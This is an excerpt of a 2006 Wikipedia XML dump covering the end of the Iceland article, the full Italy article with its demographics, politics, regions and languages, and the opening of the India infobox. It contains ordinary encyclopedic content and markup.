The population of the island is believed to have varied from 40,000 to 60,000 in the period from initial settlement until the mid-19th century. During that time, cold winters, ashfall from volcanic eruptions, and plagues adversely affected the population several times. The first census was carried out in 1703 and revealed that the population of the island was then 50,358. Improving living conditions triggered a rapid increase in population from the mid-19th century to the present day - from about 60,000 in 1850 to 300,000 in 2006.

In 2004, 20,669 (7% of the total population) people born abroad were living in Iceland, including children of Icelandic parents living abroad. 10,636 people (3.6% of the total population) had foreign citizenship. The most populous nationalities are [[Poland|Polish]] (1903), [[Denmark|Danish]] (890), [[Yugoslavia|ex-Yugoslavians]] (670), [[Philippines]] (647) and [[Germany|Germans]] (540).

The island's spoken tongue is [[Icelandic language|Icelandic]], a [[North Germanic languages|North Germanic]] language, and the predominant religion is [[Lutheran Church|Lutheran]].

Important foreign languages include [[Danish language|Danish]] and other Scandinavian languages, [[English language|English]] and [[German language|German]].

== Religion ==
''Main article [[Religion in Iceland]]''

Icelanders enjoy [[freedom of religion]] as stated by the [[constitution of Iceland|constitution]]; however, church and state are not separated and the [[Church of Iceland]], a [[Lutheranism|Lutheran]] body, is the [[state church]]. The national registry keeps account of the religious affiliation of every Icelandic citizen and according to it, Icelanders in 2004 divided into religious groups as follows:
* 85.5% members of the Church of Iceland.
* 3.6% members of the [[Free Lutheran Churches of Reykjavík and Hafnarfjörður]].
* 2.4% not members of any religious group.
* 2.0% members of the [[Catholic Church]], which has a [[Diocese of Reykjavik]].
The remaining 6.5% is mostly divided between a number of other [[Christianity|Christian]] denominations and sects, with less than 1% of the population in non-Christian religious organisations including a tiny group of state-sanctioned indigenous [[Ásatrú]] adherents in the [[Íslenska Ásatrúarfélagið]]. Most Icelanders are very liberal in their religious beliefs and do not attend church regularly.

== Culture ==
[[Image:IMG 0077.JPG|thumb|right|275px|Cliffs at the island of [[Grímsey]], on the [[Arctic Circle]].]]
{{main|Culture of Iceland}}

Some famous Icelanders include alternative rock band [[The Sugarcubes]], its singer [[Björk]]; artist collective [[GusGus]]; avant-garde rock band [[Sigur Rós]]; and novelist [[Halldór Laxness]], winner of the [[Nobel Prize for literature]] in 1955. In addition, the former world [[chess]] champion [[Bobby Fischer]] became an Icelandic citizen on [[March 21]], [[2005]]. Russian pianist [[Vladimir Ashkenazy]] has been a citizen since 1972.

Iceland's literacy rate is among the highest in the world, and a love of literature, art, chess, and other intellectual pursuits is widespread. 

Iceland has world renowned nightlife. Downtown Reykjavík has many clubs and pubs that often feature live bands. Icelanders tend to go out much later than other Europeans, with many nightclubs receiving patronage starting around midnight.

An important key to understanding Icelanders and their culture (and which differentiates them from many contemporary [[Nordic]] peoples) is the high importance they place on the traits of [[independence]] and [[self-reliance]]. Icelanders are proud of their Viking heritage and [[Icelandic language]]. Modern Icelandic remains close to the [[Old Norse]] spoken in the [[Viking Age]].

Icelandic society and culture is very &quot;woman friendly,&quot; with many women in leadership positions in government and business. Women retain their names after marriage, since Icelanders generally do not use [[surname]]s but [[patronym]]s or [[matronym]]s. In addition, homosexuals are very well accepted in the society.

One of the most popular activities in Iceland is visiting the geothermal spas. In earlier times it was essential for survival against the cold but nowadays it is a popular social activity. There are of course health benefits to a hot dip and it is considered essential for the older generation. There are scores of geothermal pools throughout the country but they are not for the shy. One of the pools can be found inside a cave and is for nude bathing only. This is particularly popular with tourists and is featured in the Volcano Show movie. Special consideration is made for hygiene and bathers are required to take a naked communal shower before entering the pools. Amusingly, some of the pools have diagrams in the changing rooms to show you which areas to clean thoroughly while showering. However, Icelanders (like most Scandanavians) are very tolerant of nudity. This can be a bit of a surprise for people of other cultures not least to say a little embarrassing at times. The most famous spa is the [[Blue Lagoon (geothermal spa)|Blue Lagoon]] near Keflavik Airport which is popular with day trippers to Iceland.

=== Icelandic Cuisine ===
[[Image:P1010018-minni.jpg|thumb|right|275px|The Icelandic national food, þorramatur.]]
Iceland offers wide varieties of traditional cuisine. ''Þorramatur'' (food of the ''þorri'') is the Icelandic national food. Nowadays ''þorramatur'' is mostly eaten during the ancient [[Nordic]] month of ''þorri'', in January and February, as a tribute to old culture. ''Þorramatur'' consists of many different types of food, for example sour ram's testicles, rotten shark, burned sheep heads, sheep's head jam, blood pudding, dried fish (often [[cod]] or [[haddock]]) with butter and many other courses that are considered delicious among many islanders.

===See also===
* [[Artists of Iceland]]
* [[Icelandic literature]]
* [[List of Icelandic authors]]
* [[List of Icelandic language poets]]
* [[Music of Iceland]]
* [[Nightlife in Reykjavík]]

==Miscellaneous facts about Iceland==
* It is mandatory to keep headlights on while driving, even in daylight.  Most cars commercially sold in Iceland are equipped to make this automatic.
* In 2004, [[United Kingdom|British]] citizens made up the single largest group of tourists to Iceland (60,000) followed by [[United States|Americans]] (48,000).
* The tallest structure in Western Europe is located in Iceland; it is the 412 metre high [[Longwave radio mast Hellissandur]] near Hellissandur.
* The state [[television]] service in Iceland did not broadcast during July until 1983, or on Thursdays until 1987 - however, there are now several terrestrial channels, and foreign channels are widely available via satellite and cable. 
* Iceland is located partly on the North American [[tectonic plate]] and partly on the Eurasian one.
* The Icelandic language is the closest language to [[Old Norse]], the language of the [[Viking]]s.
* The only native land mammal when humans arrived was the [[arctic fox]]. It came to the island at the end of the ice age, walking over the frozen sea.
* There are no native reptiles or amphibians on the island.
* There are around 1300 known species of [[insects]] on Iceland (ca. 1100 of them [[endemic (ecology)|endemic]]), which is rather low compared with other countries.
* During the last Ice Age almost all of the country was covered by permanent snow and glacier ice. This explains the low number of living species.
* Another explanation of the low number of plants and animals is the fact that this is one of the newest land masses in the world, and is built almost exclusively of volcanic rocks made of magma which welled up from the core of the Earth. The oldest rocks which can be found on the surface were formed about 16 million years ago. Most of the island is much younger, while parts of the Iceland basalt plateau which is not exposed on the surface can be up to 25 million years old. The whole island is actually a part of a mid-ocean ridge that is exposed above sea level, the [[Mid-Atlantic Ridge]] to be precise. Formed out in the ocean, it would be very hard for animals and plants to get out to the island.
* When humans arrived, [[birch forest]] and woodland probably covered 25-40% of Iceland’s land area. But soon the settlers started to remove the trees and forests to create fields and grazing land. During the early 20th century the forests were at their minimum and were almost wiped out of existence. The planting of new forests has increased the number of trees since, but this can not be compared with the original forests. Some of those planted forests have included new foreign species.

== Miscellaneous topics ==
* [[Communications in Iceland]]
* [[Foreign relations of Iceland]]
* [[Icelandic name|Naming conventions of Iceland]]
* [[Icelandic nationalism]]
* [[Icelandology]]
* [[Icelandic beer]]
* 
* [[List of Icelanders]]
* [[List of universities in Iceland]]
* [[Military of Iceland]]
* [[Reporters without borders]] world-wide press freedom index 2005: rank 1 out of 167 countries (7 way tie)
* [[Stamps and postal history of Iceland]]
* [[Transportation in Iceland]]

==References==
* &lt;cite&gt;[http://www.statice.is/ Statistics Iceland]&lt;/cite&gt;
* &lt;cite&gt;[http://www.lmi.is/landsurvey.nsf/pages/index.html The National Land Survey of Iceland]&lt;/cite&gt;

== External links ==
{{sisterlinks|Iceland}}
* [http://iceland.is/ Official Gateway of Iceland]
* [http://www.iceland.org/ Iceland.org (Icelandic Foreign Service)]
* [http://www.althingi.is/vefur/upplens.html  Alþingi's website in English]
* [http://www.government.is/ The government's website in English] 
* [http://www.icetrade.is/EN/ The Trade Council of Iceland] 
* [http://www.bbc.co.uk/dna/h2g2/A487613 H2G2 Guide Entry for Iceland]
* {{Is icon}} [http://www.islandsmyndir.is/ Picture gallery from www.islandsmyndir.is]
* [http://www.karahnjukar.is/EN Kárahnjúkar dam, Iceland's largest hydroelectric project] 
* [http://www.vegagerdin.is/vefur2.nsf/pages/english.html Travel information from the Public Roads Administration]
* {{De icon}} [http://www.islenska.de Íslenska, a magazine in German about Iceland]
* [http://www.davidmetraux.com/iceland.html Photographs of Iceland]
* [http://www.iceland-forum.com Iceland-Forum, discussions about Iceland]
* [http://www.icelandic.hi.is/coursetest.php University of Iceland: Icelandic online] (A free, online Course in Modern Icelandic Language and Culture.)
* [http://www.cookbookwiki.com/Category:Icelandic Icelandic Recipes on CookBookWiki.com]
* [http://news-from-iceland.com News from Iceland (weekly updated)]
* [http://icelandreview.com/ Iceland Review]
* [http://www.iceland-hotels-travel.com/ Hotel and Travel Tours in Iceland]
* [http://www.outdoors.is/ Hiking and mountaineering in Iceland]
* {{wikitravel}}

{{Nordic Council}}
{{EFTA}}
{{NATO}}
{{Europe}}

&lt;!-- interwiki --&gt;

[[Category:Former Danish colonies]]
[[Category:Former Norwegian colonies]]
[[Category:Iceland]]
[[Category:Islands of Iceland]]
[[Category:North Atlantic Islands]]
[[Category:Island nations]]

{{Link FA|el}}

[[af:Ysland]]
[[als:Island]]
[[ang:Īsland]]
[[ar:آيسلندا]]
[[an:Islandia]]
[[ast:Islandia]]
[[bg:Исландия]]
[[zh-min-nan:Peng-tē]]
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[[fiu-vro:Island']]</text>
    </revision>
  </page>
  <page>
    <title>Italy</title>
    <id>14532</id>
    <revision>
      <id>41980217</id>
      <timestamp>2006-03-03T00:44:20Z</timestamp>
      <contributor>
        <username>Bookofjude</username>
        <id>94969</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/67.22.202.211|67.22.202.211]] to last version by Elf-friend</comment>
      <text xml:space="preserve">{{otheruses}}
{| border=1 align=right cellpadding=4 cellspacing=0 width=300 style=&quot;margin: 0 0 1em 1em; background: #f9f9f9; border: 1px #aaaaaa solid; border-collapse: collapse; font-size: 95%;&quot;
|+&lt;big&gt;&lt;big&gt;'''Repubblica Italiana'''&lt;/big&gt;&lt;/big&gt;
| align=&quot;center&quot; colspan=&quot;2&quot;|
{| border=0 cellpadding=2 cellspacing=0 style=&quot;background:#f9f9f9; text-align:center;&quot;
| width=&quot;130px&quot;| [[Image:Flag of Italy.svg|125px|Flag of Italy]] || align=center width=130px| [[Image:Italian coa.png|110px|Italy: Coat of Arms]]
|-
| width=&quot;130px&quot;| [[Flag of Italy|Flag]] || align=center width=130px| [[Coat of Arms of the Italian Republic]]
|}
|-
| align=center colspan=2 |
|-
| align=center colspan=2 style=&quot;background:#f9f9f9;&quot; | [[Image:LocationItaly.png|Location of Italy]]
|-
|'''[[Official language]]''' || [[Italian language|Italian]]&lt;sup&gt;1&lt;/sup&gt;
|-
|'''[[Capital]] and largest city''' || [[Rome]]
|-
|'''[[List of Presidents of the Italian Republic|President]]''' || [[Carlo Azeglio Ciampi]]
|-
|'''[[List of Prime Ministers of Italy|Prime minister]]''' || [[Silvio Berlusconi]]
|-
|'''[[Area]]''' &lt;br&gt;&amp;nbsp;- Total &lt;br&gt;&amp;nbsp;- % water
|[[List of countries by area|Ranked 71st]] &lt;br&gt;[[1 E11 m2|301,336 km&amp;sup2;]]&lt;br&gt;2.40%
|-
|'''[[Population]]''' &lt;br&gt;&amp;nbsp;- Total ([[December 2004]]) &lt;br&gt;&amp;nbsp;- [[Population density|Density]]
|[[List of countries by population|Ranked 23rd]] &lt;br&gt;58,462,375 &lt;br&gt;194/km&amp;sup2;
|-
|'''[[Italian Unification|Unification]]'''
|[[17 March]] [[1861]]
|-
|'''[[Gross Domestic Product|GDP]]''' (2004) &lt;br/&gt; &amp;nbsp; - Total (PPP) &lt;br/&gt; &amp;nbsp; - Total (nom.) &lt;br/&gt; &amp;nbsp; - GDP/capita (PPP) &lt;br/&gt; &amp;nbsp; - GDP/capita (nom.)
| &lt;br&gt; $1.621 trillion ([[List of countries by GDP (PPP)|8th]]) &lt;br/&gt; $1.672 trillion ([[List of countries by GDP (nominal)|6th]]) &lt;br/&gt; $27,727 ([[List of countries by GDP (PPP) per capita|19th]]) &lt;br/&gt; $28,599 ([[List of countries by GDP (nominal) per capita|20th]])
|-
|'''[[Human Development Index|HDI]]''' (2003) || 0.934 ([[List of countries by Human Development Index|18th]])
|-
|'''[[Currency]]''' || [[Euro]] (&amp;euro;)&lt;sup&gt;2&lt;/sup&gt;
|-
| '''[[Time zone]]''' &lt;br /&gt;&amp;nbsp;- in [[European Summer Time|summer]]
| [[Central European Time|CET]] ([[Coordinated Universal Time|UTC]]+1)&lt;br&gt;[[Central European Summer Time|CEST]] ([[Coordinated Universal Time|UTC]]+2)
|-
| '''[[National anthem]]''' || [[Il Canto degli Italiani]]
|-
| '''[[Top-level domain|Internet TLD]]''' || [[.it]]
|-
| '''[[List of country calling codes|Calling Code]]''' || +39
|-
|colspan=&quot;2&quot;| &lt;small&gt;&lt;sup&gt;1&lt;/sup&gt; [[French language|French]] is co-official in the [[Aosta Valley]]; [[German language|German]] is co-official in [[South Tyrol]].&lt;br&gt;
&lt;sup&gt;2&lt;/sup&gt; Prior to 1999: [[Lira|Italian Lira]].&lt;/small&gt;
|}

'''Italy''', officially the '''Italian Republic''' ([[Italian language|Italian]]: ''Italia'' or ''Repubblica Italiana''), is a country in southern [[Europe]]. It comprises the boot-shaped [[Italian peninsula]], the [[Po River]] valley, and two large islands in the [[Mediterranean Sea]], [[Sicily]] and [[Sardinia]], and shares its northern [[alps|alpine]] boundary with [[France]], [[Switzerland]], [[Austria]] and [[Slovenia]]. The independent countries of [[San Marino]] and the [[Vatican City]] are [[enclave]]s within Italian territory.

For more than 3,000 years Italy witnessed many migrations and invasions from [[Germanic peoples|Germanic]], [[Celt|Celtic]], [[Frankish]], [[Byzantine Empire|Byzantine Greek]], [[Saracens]], [[Norman]], and the French [[Angevin]], and [[Lombard]] peoples. Italy was also home to many well-known and influential civilisations, including the [[Etruscans]], [[ancient Greece|Greeks]] and the [[ancient Rome|Romans]].

Italy is called ''Belpaese'' (Italian for ''beautiful country'') by its inhabitants, due to the beauty and variety of its landscapes and for its world's largest artistic patrimony; the country is home to the greatest number of [[UNESCO]] World Heritage Sites (40 until [[January 1]] [[2006]]).

Presently, Italy is a highly developed country with the 6th [[Gross domestic product|GDP]] in 2004, a member of [[G8]] and a founding member of what is now the European Union signing the [[Treaty of Rome]] in 1957.

Inhabitants of Italy are referred to as ''Italians'' ([[Italian]]: ''Italiani'' or poetically ''Italici'').

==History==
{{main|History of Italy}}

Italy has influenced the cultural and social development of the whole Mediterranean area, deeply influencing [[Culture of Europe|European culture]] as well. Important cultures and civilizations have existed there since prehistoric times. After [[Magna Graecia]], the Etruscan civilization and especially the [[Roman Republic]] and [[Roman Empire|Empire]] that dominated this part of the world for many centuries, Italy was central to European science and art during the [[Middle Ages]] and [[Renaissance]].

Modern Italy became a nation-state belatedly — on [[March 17]] [[1861]], when most of the states of the peninsula were united under king [[Victor Emmanuel II]] of the [[Savoy]] dynasty, which ruled over [[Sardinia]] and [[Piedmont]]. The architects of Italian unification were [[Count Camillo Benso di Cavour]], the Chief Minister of Victor Emmanuel, and [[Giuseppe Garibaldi]], a general and national hero. [[Rome]] itself remained for a little less than a decade under the Papacy, and became part of the [[Kingdom of Italy]] only on [[September 20]] [[1870]]. The [[Vatican City|Vatican]] is now an independent enclave surrounded by [[Rome]].

==Politics==
{{main|Politics of Italy}}

[[Image:Italy.CarloAzeglioCiampi.01.jpg|thumb|left|[[Carlo Azeglio Ciampi]], President of the Italian Republic since 1999.]]
The 1948 [[Constitution of Italy]] established a [[bicameral]] [[parliament]] (''Parlamento''), consisting of a [[Italian Chamber of Deputies|Chamber of Deputies]] (''Camera dei Deputati'') and a [[Italian Senate|Senate]] (''Senato della Repubblica''), a separate [[judiciary]], and an [[executive branch]] composed of a Council of Ministers ([[Cabinet (government)|cabinet]]) (''Consiglio dei ministri''), headed by the [[Prime Minister of Italy|prime minister]] (''Presidente del consiglio dei ministri''). The [[List of Presidents of the Italian Republic|President of the Republic]] (''Presidente della Repubblica'') is elected for 7 years by the parliament sitting jointly with a small number of regional delegates. The president nominates the prime minister, who proposes the other ministers (formally named by the president). The Council of Ministers must retain the support (''fiducia'') of both houses.

The houses of [[parliament]] are popularly and directly elected by a mixed majoritarian&lt;!-- this was changed, please update--&gt; and proportional representation system. Under 1993 [[legislation]], Italy has single-member districts for 75% of the seats in parliament; the remaining 25% of seats are allotted on a proportional basis.
The Chamber of Deputies has officially 630 members (''de facto'', 619 only after the 2001 elections). In addition to 315 senators, elected members, the Senate includes former presidents and several other persons (no more than 5) appointed for life by the President of the Republic according to special constitutional provisions. Both houses are elected for a maximum of 5 years, but either may be dissolved before the expiration of its normal term. [[Legislative]] bills may originate in either house and must be passed by a majority in both. The Italian judicial system is based on [[Roman law]] modified by the [[Napoleonic code]] and later [[statute]]s. A constitutional court, the ''Corte Costituzionale'', passes on the constitutionality of laws, and is a post-[[World War II]] innovation.

All Italian citizens older than 18 can vote. To vote for the senate, the voter must be at least 25. 

{{see also|Military of Italy}}

==Regions==
{{main|Regions of Italy}}
[[Image:It-map.png|thumb|Map of Italy]]

Italy is subdivided into 20 regions (''regioni'', singular ''regione''). Five of these regions enjoy a special autonomous status that enables them to enact legislation on some of their specific local matters, and are marked by an *:

*[[Abruzzo]] (with capital [[L'Aquila]])
*[[Aosta Valley]]*, ''Valle d'Aosta / Vallée d'Aoste'' ([[Aosta]])
*[[Apulia]], ''Puglia'' ([[Bari]])
*[[Basilicata]] ([[Potenza]])
*[[Calabria]] ([[Catanzaro]])
*[[Campania]] ([[Naples]], ''Napoli'')
*[[Emilia-Romagna]] ([[Bologna]])
*[[Friuli-Venezia Giulia]]* ([[Trieste]])
*[[Latium]], ''Lazio'' ([[Rome]], ''Roma'')
*[[Liguria]] ([[Genoa]], ''Genova'')
*[[Lombardy]] ''Lombardia'' ([[Milan]], ''Milano'')
*[[Marche]] ([[Ancona]])
*[[Molise]] ([[Campobasso]])
*[[Piedmont (Italy)|Piedmont]], ''Piemonte'' ([[Turin]], ''Torino'')
*[[Sardinia]]*, ''Sardegna'' ([[Cagliari]])
*[[Sicily]]*, ''Sicilia'' ([[Palermo]])
*[[Trentino-South Tyrol]]*, ''Trentino-Alto Adige / Südtirol'' ([[Trento]])
*[[Tuscany]], ''Toscana'' ([[Florence]] ''Firenze'')
*[[Umbria]] ([[Perugia]])
*[[Veneto]] ([[Venice]], ''Venezia'')

All regions except the Aosta Valley are further subdivided into two or more [[Provinces of Italy|provinces]].

== Geography ==
{{main|Geography of Italy}}

Italy consists predominantly of a large [[peninsula]] (the [[Italian peninsula]]) with a distinctive boot shape that extends into the [[Mediterranean Sea]], where together with its two main islands [[Sicily]] and [[Sardinia]] it creates distinct bodies of water, such as the [[Adriatic Sea]] to the north-east, the [[Ionian Sea]] to the south-east, the [[Tyrrhenian Sea]] to the south-west and finally the [[Ligurian Sea]] to the north-west.

The [[Apennine mountains]] form the backbone of this peninsula, leading north-west to where they join the [[Alps]], the mountain range that then forms an arc enclosing Italy from the north.
Here is also found a large alluvial plain, the Po-Venetian plain, drained by the [[Po River]]--which is the Italy's biggest river--and its many tributaries flowing down from the Alps, [[Apennine]]s and [[Dolomites]].

Other well-known rivers include the [[Tiber]], [[Adige]] and [[Arno]].

Its highest point is [[Mont Blanc]] (''Monte Bianco'') at 4,810 m, but Italy is more typically associated with two famous [[volcano]]es: the currently dormant [[Vesuvius]] near [[Naples]] and the very active [[Etna]] on [[Sicily]].

[[Sicily]] and [[Sardinia]] are the two major [[island]]s of Italy ([[List of islands of Italy|comprehensive list]]).

== Demographics == 
{{main|Demographics of Italy}}

Italy is largely homogeneous in language and religion but is diverse culturally, economically, and politically. The country has the fifth-highest population density in Europe at 194 persons per square kilometre. Indigenous minority groups are small. For a country of 58.4 million people, Italy has a smaller number of migrants compared to France and Germany. 

Since the beginning of Roman civilisation, important ethnic groups like [[Ancient Greece|Greek]] settlers, [[Germanic peoples|Germanic]] and [[Celt|Celtic]] invaders and plunderers, and Norman colonisers have all left important impressions on the people today. However, they have all been absorbed in a homogeneous [[Italian people|Italian ethnic group]].

The number of immigrants or foreign residents in Italy have steadily increased to reach 2,402,157, according to the latest figures (1/2005) of [[ISTAT]]. They currently make up a little more than 4 % of the official total population. According to these statistics, the largest foreign minorities are [[Albanians]] (316,659), [[Moroccan]] (294,945), [[Romanian people|Romanian]] (248,849{{rf|1|Romanian}}), [[Overseas Chinese|Chinese]] (111,712), and Ukrainian (93,441). Remaining groups include those who are Tunisian, Macedonians, Serbians, and Filipinos etc.

== Religion ==
Roman Catholicism is by far the most popular religion in the country. According to estimates by (CIA World Fact Book 2005, Italian polls, Adherents.com, BBCNews and others), it is safe to conclude that 87% of the Italian population self-identify as [[Roman Catholic]], whereas around 13% identify with either other religions or none at all. Italy also has some important pilgrimages and famous Roman Catholic churches, cathedrals and sites. According to many other books (Reference) surveys      (from Gallup, Christian Science Monitor, and others) Italy can claim above 40% weekly church attendance rate. [[Image:St peters vat distance.jpg|thumb|right|300px|The [[Vatican]]]]

The second largest Christian group in Italy are [[Jehovah's Witnesses]] with some 400,000 [2] active members, and are growing annually. There are few Protestant denominations in Italy, mostly Waldensians. Recent immigration from the [[North Africa]] has led to an increasing number of Muslims, but has cooled off due to larger immigration from Eastern Europe. The Muslim population currently stands at 825,000[3] (legal immigrants) or 1.4% of the population, lower than many Western European nations. Around 30,000 Jews, and 30,000 Buddhists live in Italy.

== Economy ==
{{main|Economy of Italy}}

A member of the G8 group of leading industrialised countries, it ranked as the sixth- largest economy in the world in 2004, behind the United States, Japan, Germany, UK, and France. According to the OECD, in 2004 Italy was the world's sixth-largest exporter of manufactured goods. This [[capitalism|capitalistic]] economy remains divided into a developed industrial north, dominated by private companies, and a less developed [[agriculture|agricultural]] south (with 20% unemployment). 

Most raw materials needed by industry and more than 75% of energy requirements are imported. Over the past decade, Italy has pursued a tight fiscal policy in order to meet the requirements of the [[Economic and Monetary Union of the European Union|Economic and Monetary Union]] and has benefited from lower interest and inflation rates. Italy joined the [[Euro]] from its conception in 1999.

Italy's economic performance has at times lagged behind that of its EU partners, and the current government has enacted numerous short-term reforms aimed at improving competitiveness and long-term growth. It has moved slowly, however, on implementing certain structural reforms favoured by economists, such as lightening the high tax burden and overhauling Italy's rigid labour market and expensive [[pension]] system, because of the current economic slowdown and opposition from [[labor union|labour unions]].

*[[List of Italian companies]]

== Culture ==
''See the separate article: [[Culture of Italy]].''

== Languages ==
{{main|Languages of Italy}}
The official language of Italy is [[Italian language| Standard Italian]] - a direct descendant of [[Latin]] (some 75% of Italian words are of Latin origin).

When Italy was unified, in 1861, Italian existed mainly as a [[literary language]], and was spoken by less than 3% of the population. Different languages were spoken throughout Italian peninsula, many of which were [[Romance languages|romance languages]] which had developed in every region, due to political fregmentation of Italy{{rf|2|dialects}}. 
Indeed, each historical region of Italy had its own so-called &quot;dialect&quot; (with &quot;dialect&quot; usually meaning, improperly, a non-Italian [[romance language]]), with variants existing at the township-level.  
[[Image:gondola.arp.750pix.jpg|thumb|300px|[[Venice]]]]

Massimo d'Azeglio, one of Cavour's ministers, is said to have stated, following Italian unification, that having created Italy, all that remained was to create Italians. Given the high number of languages spoken throughout the peninsula, it was quickly established that 'proper' or 'standard' Italian would be based on the [[Tuscan dialect|Florentine dialect]] spoken in most of [[Tuscany]] (given that it was the first region to produce authors such as [[Dante Alighieri]], who between 1308 and 1321 wrote the ''[[Divina Commedia]]''). A national education system was established - leading to a decrease in variation in the languages spoken throughout the country over time. It was not until the 1960s, with the advent of the state television broadcaster, [[RAI]], that Italian truly became broadly-known and quite standardised.

Today, Italian is fully comprehensible to all throughout the country, but regional variations in the form of accents and vowel emphasis persist. In addition, particular dialects have become cherished beacons of regional variation and are becoming recently more protected (especially the Neapolitan dialect which is extensively used for the singing of popular folk-songs).

Apart from standard Italian, regional variations and &quot;dialects&quot;, a number of truly separate languages do exist. In the north, the province of [[South Tyrol]] (''Südtirol'' in German, ''Alto Adige'' in Italian) is almost entirely [[German language|German]]-speaking; the area was awarded to Italy following the First World War and her defeat of the Austro-Hungarian Empire. Pockets of German speakers also persist in other north-eastern Italian regions - a remnant of the old Austrian influence on this area of Italy. In total some 300,000 or so Italians speak German as their first language and indeed identify themselves as ethnic Austrians. Some 120,000 or so people live in the [[Aosta Valley]] region, where a [[Franco-Provençal]] dialect very similar to French called ''[[Patois]]'' is spoken. About 80,000 [[Slovenian language| Slovene]]-speakers live in the north-eastern region of [[Friuli-Venezia Giulia]] near the border with Slovenia. Some 40,000 [[Ladin]]-speakers (Ladin is a [[Rhaetian languages|Rhaetian language]] spoken in the [[Dolomites|Dolomite]] mountains) also live in the [[Trentino-South Tyrol]] region and in the [[Veneto]] region. A very large community of some 700,000 people in [[Friuli]] speak [[Friulian]] - another [[Rhaetian languages|Rhaetian language]]. In the [[Molise]] region of central-south Italy some 4,000 people speak [[Serbo-Croatian]] - these are the descendants of a group of people who migrated from the Balkans in the Middle Ages. Scattered across Southern Italy are a number of some 30,000 [[Greek language|Greek]]-speakers - considered to be the last surviving traces of the region's Greek heritage (Ancient Greek colonists reached Southern Italy and Sicily about 1500 BC). Some 15,000 [[Catalan language|Catalan]] speakers reside around the area of [[Alghero]] in the north-west corner of [[Sardinia]] - believed to be the result of a migration of a large group of Catalans from [[Barcelona]] in ages past. Around 100,000 (the [[Arbëreshë]]) in Southern Italy and in central [[Sicily]] speak [[Albanian language|Albanian]] - the result of past migrations. Finally, the largest group of non-Italian speakers (some 1.6 million people) are the ones who speak [[Sardinian language| Sardinian]] - a romance language which evolved quite independently from Italian. The arrival of immigrants has generated a plethora of new languages, including [[Armenian language|Armenian]], [[Arabic language|Arabic]], [[Hindi language|Hindi]], [[Punjabi language|Punjabi]], [[Urdu language|Urdu]], [[Turkish language|Turkish]], [[Kurdish language|Kurdish]], [[Mandarin (linguistics)|Mandarin]] [[Chinese language|Chinese]], and others. Even today, variations in local accents allow people from one town to distinguish people from a neighbouring town which may be only a few miles away. There is a growing population of Jews and Muslims in Italy, many of whom speak Hebrew and Arabic, respectively.

==Notes==
{{ent|1|Romanian}} According to Mitrica, an October 2005 Romanian report estimates that 1,061,400 Romanians are living in Italy, constituting 37.2% of 2.8 million immigrants in that country [http://www.evz.ro/eveniment/?news_id=201813] but it is unclear how the estimate was made, and therefore whether it should be taken seriously or not.
{{ent|2|dialects}}See also (in Italian): ''L. Lepschy e G. Lepschy, La lingua italiana: storia, varietà d'uso, grammatica, Milano, Bompiani''

== References ==
:''Other references can be found in the more detailed articles linked to in this article.''
*Mitrica, Mihai [http://www.evz.ro/eveniment/?news_id=201813 Un milion de romani s-au mutat in Italia] (&quot;One million Romanians have moved to Italy&quot;). ''Evenimentul Zilei'', [[October 31]] [[2005]]. Retrieved [[October 31]] [[2005]].

==External links==
{{sisterlinks|Italy}}
{{portal}}

===Official sites===
*[http://www.quirinale.it/ Presidenza della Repubblica] - Official site of the Italian president (in Italian)
*[http://www.parlamento.it/ Parlamento] - Official site of the Italian parliament (Senate in Italian only)
*[http://www.italia.gov.it/ Italia.gov.it] - Main governmental portal (in Italian)
*[http://www.esteri.gov.it/eng/ Ministero degli Affari Esteri] - Italian Foreign Office
*[http://www.istat.it Istituto nazionale di statistica] - National statistics office, (in Italian)

===Others===
*{{wikitravel}}


{{EU countries}}
{{NATO}}
{{Europe}}
{{Mediterranean}}
{{G8}}

[[Category:Italy| ]]
[[Category:European Union member states]]

[[af:Italië]]
[[als:Italien]]
[[an:Italia]]
[[ar:إيطاليا]]
[[ast:Italia]]
[[be:Італія]]
[[bg:Италия]]
[[bs:Italija]]
[[ca:Itàlia]]
[[cs:Itálie]]
[[cv:Итали]]
[[cy:Yr Eidal]]
[[da:Italien]]
[[de:Italien]]
[[el:Ιταλία]]
[[eo:Italio]]
[[es:Italia]]
[[et:Itaalia]]
[[eu:Italia]]
[[fa:ایتالیا]]
[[fi:Italia]]
[[fiu-vro:Itaalia]]
[[fr:Italie]]
[[fur:Italie]]
[[fy:Itaalje]]
[[ga:An Iodáil]]
[[gd:An Eadailt]]
[[gl:Italia]]
[[haw:Ikalia]]
[[he:איטליה]]
[[hi:इटली]]
[[hr:Italija]]
[[ht:Itali]]
[[hu:Olaszország]]
[[ia:Italia]]
[[id:Italia]]
[[io:Italia]]
[[is:Ítalía]]
[[it:Italia]]
[[ja:イタリア]]
[[ka:იტალია]]
[[kn:ಇಟಲಿ]]
[[ko:이탈리아]]
[[ku:Îtalya]]
[[kw:Itali]]
[[la:Italia]]
[[lb:Italien]]
[[li:Italië]]
[[lt:Italija]]
[[lv:Itālija]]
[[ms:Itali]]
[[mt:Italja]]
[[na:Italy]]
[[nap:Italia]]
[[nds:Italien]]
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  </page>
  <page>
    <title>India</title>
    <id>14533</id>
    <restrictions>move=:edit=</restrictions>
    <revision>
      <id>42103953</id>
      <timestamp>2006-03-03T21:25:06Z</timestamp>
      <contributor>
        <username>Rama's Arrow</username>
        <id>591624</id>
      </contributor>
      <comment>/* History */ grammar</comment>
      <text xml:space="preserve">{{Infobox Country|
native_name = Republic of India &lt;br /&gt;भारत गणराज्य&lt;br /&gt; Bh{{Unicode|ā}}rat Ga{{Unicode|ṇ}}ar{{Unicode|ā}}jya&lt;!-- IF YOU CANNOT SEE THE 'N' UPGRADE YOUR BROWSER --&gt;|
common_name = India|the=|
image_flag = Flag of India.svg |
image_coat = EmblemofIndia-small.png |
national_motto = [[Satyameva Jayate]]&lt;br /&gt; [[Sanskrit]]: सत्यमेव जयते &lt;br&gt;{{IPA|/sətyəmeːvə ɟəjəteː/}}&lt;br /&gt; (Truth Alone Triumphs) |
image_map = IndiaLocation.png |
national_anthem = [[Jana Gana Mana]]&lt;br /&gt; [[Sanskrit]]: जन गण मन &lt;br&gt;{{IPA|/ɟənə gəɳə mənə/}}|
official_languages = [[Hindi]], [[English language|English]], and [[List of national languages of India|21 other languages]] |
capital = [[New Delhi]] |
latd = 28|latm=34|latNS=N|longd=77|longm=12|longEW=E |
government_type = [[Federal republic]] |
leader_titles = [[President of India|President]]&lt;br /&gt;[[Prime Minister of India|Prime Minister]] |
leader_names = [[APJ Abdul Kalam]]&lt;br /&gt;[[Manmohan Singh|Dr. Manmohan Singh]] | largest_city = [[Mumbai]] (Bombay) |
area = 3,287,590 |
